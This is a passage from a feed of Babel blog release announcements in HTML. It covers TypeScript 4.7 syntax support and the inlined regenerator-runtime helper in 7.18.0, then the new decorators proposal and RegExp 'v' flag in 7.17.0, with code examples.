<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> identity </span><span class="token operator">=</span><span class="token plain"> </span><span class="token operator">&lt;</span><span class="token constant" style="color:#f5871f">T</span><span class="token operator">&gt;</span><span class="token punctuation">(</span><span class="token plain">val</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> val</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> stringIdentity </span><span class="token operator">=</span><span class="token plain"> identity</span><span class="token operator">&lt;</span><span class="token builtin" style="color:#f5871f">string</span><span class="token operator">&gt;</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// (val: string) =&gt; string;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
<li>
<p>explicit variance annotations for type arguments, to guide the TypeScript type checker when computing compatibility between different types:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Provider</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name" style="color:#eab700">out </span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Consumer</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name keyword" style="color:#8959a8">in</span><span class="token class-name" style="color:#eab700"> </span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">void</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Mapper</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name keyword" style="color:#8959a8">in</span><span class="token class-name" style="color:#eab700"> </span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name punctuation" style="color:#eab700">,</span><span class="token class-name" style="color:#eab700"> out </span><span class="token class-name constant" style="color:#f5871f">U</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">U</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Processor</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name keyword" style="color:#8959a8">in</span><span class="token class-name" style="color:#eab700"> out </span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>In this example, <code>Provide&lt;string&gt;</code> is a subtype of <code>Provider&lt;string | number&gt;</code> while <code>Consumer&lt;string | number&gt;</code> is a subtype of <code>Consumer&lt;string&gt;</code>.</p>
</li>
<li>
<p>constraints for the <code>infer</code> operator in conditional types:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">GetColor</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token constant" style="color:#f5871f">T</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">extends</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> color</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">infer</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">C</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">extends</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"red"</span><span class="token plain"> </span><span class="token operator">|</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"pink"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token operator">?</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">C</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"unknown color"</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
</ul>
<p>You can read the full TypeScript 4.7 release announcement <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-7/" target="_blank" rel="noopener noreferrer">on their blog</a>.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="inline-regenerator-runtime-helper-14538">Inline <code>regenerator-runtime</code> helper (<a href="https://github.com/babel/babel/pull/14538" target="_blank" rel="noopener noreferrer">#14538</a>)<a href="https://babeljs.io/blog/2022/05/19/7.18.0#inline-regenerator-runtime-helper-14538" class="hash-link" aria-label="Direct link to inline-regenerator-runtime-helper-14538" title="Direct link to inline-regenerator-runtime-helper-14538">​</a></h3>
<p>Starting from Babel 7.18.0, <code>regenerator-runtime</code> is automatically injected in the same way that Babel injects the other runtime helpers, without relying on an implicit <code>regeneratorRuntime</code> global. When not using <a href="https://babeljs.io/docs/en/babel-plugin-transform-runtime" target="_blank" rel="noopener noreferrer"><code>@babel/plugin-transform-runtime</code></a>, Babel will automatically inline the <code>regeneratorRuntime</code> helper:</p>
<ul>
<li>you can stop manually loading <code>regenerator-runtime</code> (with <code>import</code>, <code>require</code> or <code>&lt;script&gt;</code>);</li>
<li>you can delete <code>"regenerator-runtime"</code> from your dependencies in <code>package.json</code>.</li>
</ul>
<p>For example this is the output difference between old and new Babel versions when compiling <code>var f = function*() {};</code>:</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">+function _regeneratorRuntime() { /* ... */ }</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-var f = /*#__PURE__*/regeneratorRuntime.mark(function f() {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">+var f = /*#__PURE__*/_regeneratorRuntime().mark(function f() {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">-  return regeneratorRuntime.wrap(function f$(_context) {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">+  return _regeneratorRuntime().wrap(function f$(_context) {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     while (1) {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">       switch (_context.prev = _context.next) {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">         case 0:</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">         case "end":</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">           return _context.stop();</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">       }</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     }</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   }, f);</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> });</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.17.0 Released: RegExp 'v' mode and ... 🥁 decorators!]]></title>
        <id>https://babeljs.io/blog/2022/02/02/7.17.0</id>
        <link href="https://babeljs.io/blog/2022/02/02/7.17.0"/>
        <updated>2022-02-02T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just published Babel 7.17.0!]]></summary>
        <content type="html"><![CDATA[<p>We just published Babel 7.17.0!</p>
<p>After years of <a href="https://babeljs.io/blog/2018/09/17/decorators" target="_blank" rel="noopener noreferrer">iterations</a>, rewrites and adjustments it looks like the <a href="https://github.com/tc39/proposal-decorators" target="_blank" rel="noopener noreferrer">decorators proposal</a> has finally stabilized again on a new design! This release includes both parse and transform support for the new proposal.</p>
<p>We also implemented the <a href="https://github.com/tc39/proposal-regexp-set-notation" target="_blank" rel="noopener noreferrer">RegExp <code>v</code> flag proposal</a> and added parsing support for <a href="https://github.com/tc39/proposal-destructuring-private" target="_blank" rel="noopener noreferrer">destructuring private fields</a>, both currently Stage 2. Lastly, a new experimental implementation of <code>@babel/register</code>.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.17.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://opencollective.com/babel#category-CONTRIBUTE" target="_blank" rel="noopener noreferrer">Open Collective</a> or <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer">GitHub Sponsors</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2022/02/02/7.17.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="decorators-14004-13681">Decorators (<a href="https://github.com/babel/babel/pull/14004" target="_blank" rel="noopener noreferrer">#14004</a>, <a href="https://github.com/babel/babel/pull/13681" target="_blank" rel="noopener noreferrer">#13681</a>)<a href="https://babeljs.io/blog/2022/02/02/7.17.0#decorators-14004-13681" class="hash-link" aria-label="Direct link to decorators-14004-13681" title="Direct link to decorators-14004-13681">​</a></h3>
<p>After receiving feedback from JavaScript developers, engine developers and language experts, <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer">the decorators proposal</a> was rewritten to take into account multiple constraints and desires. We collaborated with the current proposal author, <a href="https://www.pzuraq.com/" target="_blank" rel="noopener noreferrer">@pzuraq</a> to implement the new Stage 2 proposal in Babel.</p>
<p>The new implementation also supports decorating private class elements, as well as the new "class auto accessors" syntax:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">@</span><span class="token function" style="color:#4271ae">defineElement</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"button"</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Button</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  @reactive accessor enabled </span><span class="token operator">=</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// class auto accessors</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  @</span><span class="token function" style="color:#4271ae">event</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"onClick"</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">#handleClick</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// decorator on a private method</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"clicked!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can enable the new proposal by passing the <code>"version": "2021-12"</code> option to <a href="https://babeljs.io/docs/en/babel-plugin-proposal-decorators" target="_blank" rel="noopener noreferrer"><code>@babel/plugin-proposal-decorators</code></a>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/plugin-proposal-decorators", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        "version": "2021-12"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>While the new decorators syntax is compatible with the previous proposal, the semantics are different: decorators already written for Babel <em>"legacy"</em>, Babel <em>older-but-not-legacy</em>, or TypeScript will not work with the new proposal.</p></div></div>
<p>If you want to help move the proposal forward, you can try using it and leave feedback in <a href="https://github.com/tc39/proposal-decorators/issues" target="_blank" rel="noopener noreferrer">their GitHub repository</a>.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="regexp-set-notation-and-properties-of-strings-14125">RegExp set notation and properties of strings (<a href="https://github.com/babel/babel/pull/14125" target="_blank" rel="noopener noreferrer">#14125</a>)<a href="https://babeljs.io/blog/2022/02/02/7.17.0#regexp-set-notation-and-properties-of-strings-14125" class="hash-link" aria-label="Direct link to regexp-set-notation-and-properties-of-strings-14125" title="Direct link to regexp-set-notation-and-properties-of-strings-14125">​</a></h3>
<p>Babel now supports the <a href="https://github.com/tc39/proposal-regexp-set-notation/" target="_blank" rel="noopener noreferrer">RegExp set notation and properties of strings</a> proposal, which introduces three new regular expression features behind a new <code>v</code> flag:</p>
<ul>
<li>Extended set notation, which allows computing difference, intersection and union of characters or strings sets<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex char-class char-class-punctuation punctuation" style="color:#3e999f">[</span><span class="token regex regex-source language-regex char-class char-set class-name" style="color:#eab700">\p{Decimal_Number}</span><span class="token regex regex-source language-regex char-class" style="color:#3e999f">--[</span><span class="token regex regex-source language-regex char-class range" style="color:#3e999f">0</span><span class="token regex regex-source language-regex char-class range range-punctuation operator" style="color:#3e999f">-</span><span class="token regex regex-source language-regex char-class range" style="color:#3e999f">9</span><span class="token regex regex-source language-regex char-class char-class-punctuation punctuation" style="color:#3e999f">]</span><span class="token regex regex-source language-regex" style="color:#3e999f">]</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-flags" style="color:#3e999f">v</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Non-ASCII decimal digits</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token operator">/</span><span class="token punctuation">[</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token constant" style="color:#f5871f">ASCII</span><span class="token punctuation">}</span><span class="token operator">&amp;&amp;</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token maybe-class-name">Letter</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token operator">/</span><span class="token plain">v</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// ASCII letters</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token operator">/</span><span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token constant" style="color:#f5871f">ASCII</span><span class="token punctuation">}</span><span class="token operator">&amp;&amp;</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token maybe-class-name">Letter</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token known-class-name class-name" style="color:#eab700">Number</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token operator">/</span><span class="token plain">v</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// ASCII letters, or any digit</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
<li>Properties of strings, which allow using <code>\p</code> escapes with multi-codepoint properties<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token string" style="color:#718c00">"Did you see the 👩🏿‍❤️‍💋‍👩🏾 emoji?"</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">match</span><span class="token punctuation">(</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\p{RGI_Emoji}</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-flags" style="color:#3e999f">v</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// ["👩🏿‍❤️‍💋‍👩🏾"]</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
<li>Multi-codepoint strings in sets, using a new <code>\q</code> escape<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex char-class char-class-punctuation punctuation" style="color:#3e999f">[</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\r</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\n</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\q</span><span class="token regex regex-source language-regex char-class" style="color:#3e999f">{</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\r</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\n</span><span class="token regex regex-source language-regex char-class" style="color:#3e999f">|NEWLINE}</span><span class="token regex regex-source language-regex char-class char-class-punctuation punctuation" style="color:#3e999f">]</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-flags" style="color:#3e999f">v</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Matches \r, \n, \r\n or NEWLINE</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
</li>
</ul>
